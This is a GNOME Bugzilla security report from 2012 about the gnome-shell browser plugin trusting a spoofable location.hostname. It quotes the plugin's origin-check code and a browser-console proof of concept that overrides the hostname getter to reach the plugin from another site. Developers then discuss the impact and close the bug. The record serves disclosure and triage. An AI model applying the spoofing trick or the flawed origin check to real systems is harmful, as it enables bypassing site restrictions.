After an evaluation, GNOME has moved from Bugzilla to GitLab. Learn more about GitLab.
No new issues can be reported in GNOME Bugzilla anymore.
To report an issue in a GNOME project, go to GNOME GitLab.
Do not go to GNOME Gitlab for: Bluefish, Doxygen, GnuCash, GStreamer, java-gnome, LDTP, NetworkManager, Tomboy.
Bug 684215 - Possible hostname spoofing in browser plugin
Possible hostname spoofing in browser plugin
Status: RESOLVED WONTFIX
Product: gnome-shell
Classification: Core
Component: extensions
unspecified
Other Linux
: Normal normal
: ---
Assigned To: gnome-shell-maint
gnome-shell-maint
Depends on:
Blocks:
 
 
Reported: 2012-09-17 13:39 UTC by Vincent Untz
Modified: 2013-01-03 01:27 UTC
See Also:
GNOME target: ---
GNOME version: ---



Description Vincent Untz 2012-09-17 13:39:27 UTC
Forwarding https://bugzilla.novell.com/show_bug.cgi?id=779473

This is a report that was sent on the oss-sec mailing list.

===================

Via OSS-sec:


List, I just installed Fedora 17 on a workstation. While researching how to
upgrade gnome 3 to version 2, I noticed it installed a browser extension
called "Gnome Shell Integration".

$ rpm -qf /usr/lib64/mozilla/plugins/libgnome-shell-browser-plugin.so
gnome-shell-3.4.1-5.fc17.x86_64

The NPPVpluginDescriptionString states "It can be used only by
extensions.gnome.org", but I happen to know that is a tricky thing to get
right.

102   if (!funcs.getproperty (instance, NPVARIANT_TO_OBJECT (document),
103                           funcs.getstringidentifier ("location"),
104                           &location))
105     goto out;
106
107   if (!NPVARIANT_IS_OBJECT (location))
108     goto out;
109
110   hostname = get_string_property (instance,
111                                   NPVARIANT_TO_OBJECT (location),
112                                   "hostname");
113
114   if (g_strcmp0 (hostname, ORIGIN))
115     {
116       g_debug ("origin does not match, is %s",
117                hostname);
118
119       goto out;
120     }

I'm familiar with this topic as I wrote a tool for managing broken but
necessary plugins by restricting them to trusted domains.

http://code.google.com/p/nssecurity

As far as I know, browsers only attempt to prevent tampering with
document.location.href, anything else can be modified. For example, this
works in Chrome, I don't know the syntax for Mozilla:

> location.__defineGetter__("hostname", function () { return "arbitrary"; })
  undefined
> location.hostname
  "arbitrary"

However,

> location.__defineGetter__("href", function () { return "arbitrary"; })
  undefined
> location.href
  "http://realurl.test/asdasd"


So this should fail:

> o = document.createElement('OBJECT')
  <object>?</object>?
> o.setAttribute('TYPE', 'application/x-gnome-shell-integration')
  undefined
> document.body.appendChild(o)
  <object type=?"application/?x-gnome-shell-integration">?</object>?
> o.shellVersion
  undefined

But we can re-insert it and make it work:

> document.body.removeChild(o)
  <object type=?"application/?x-gnome-shell-integration">?</object>?
> location.__defineGetter__("hostname", function () { return
"extensions.gnome.org"; })
  undefined
> document.body.appendChild(o)
  <object type=?"application/?x-gnome-shell-integration">?</object>?
> o.shellVersion
  "3.4.1"
> document.location.href
  "https://www.redhat.com/"

The plugin incorrectly trusted hostname, and initialized. As far as I can
tell, the plugin will let you install new shell extensions, I don't know
what the impact of that is, can they contain native code?

Tavis.
Comment 1 Vincent Untz 2012-09-17 13:40:19 UTC
I'm not convinced it can actually be exploited (see the discussion in the downstream bug); still something to fix.
Comment 2 Giovanni Campagna 2012-09-17 13:43:57 UTC
It can't be exploited to install extensions (because we only get the UUID from the plugin, and download straight from extensions.gnome.org), but it's a privacy leak none the less.
Comment 3 Jasper St. Pierre (not reading bugmail) 2012-09-17 13:44:18 UTC
That's really disappointing behavior from the browsers, for one.
Comment 4 Vincent Untz 2012-09-17 13:56:09 UTC
(In reply to comment #2)
> It can't be exploited to install extensions (because we only get the UUID from
> the plugin, and download straight from extensions.gnome.org), but it's a
> privacy leak none the less.

Right, but the last argument on the bug downstream is that if someone manages to upload a malicious extension to e.g.o, then with this bug, a user could think he's installing another extension, and the evil website would pass the UUID of the malicious extension instead.

I'm of the opinion that if have a malicious extension on e.g.o, we're already doing something wrong, anyway, so this bug would simply make something bad a bit worse.
Comment 5 Giovanni Campagna 2012-09-17 14:06:32 UTC
Btw, in Firefox 15 with
Object.defineProperty(document.location, 'hostname', { value:'arbitrary' })
(or any combination thereof)
I get
Error: Permission denied to shadow native property

In Web 3.5.91 with WebKit 1.11.0 (git master),
I get
TypeError: Attempting to change value of a readonly property.
while
Object.defineProperty(document.location, 'hostname', { get: function() { return 'arbitrary' } })
gives
TypeError: Attempting to change access mechanism for an unconfigurable property.

So this may be less of an issue in modern browsers.
Comment 6 Giovanni Campagna 2013-01-03 01:27:59 UTC
This is not an issue with any of the currently stable browsers, and I'n particular it's not a in issue with the browser we ship, so I'd like to close this.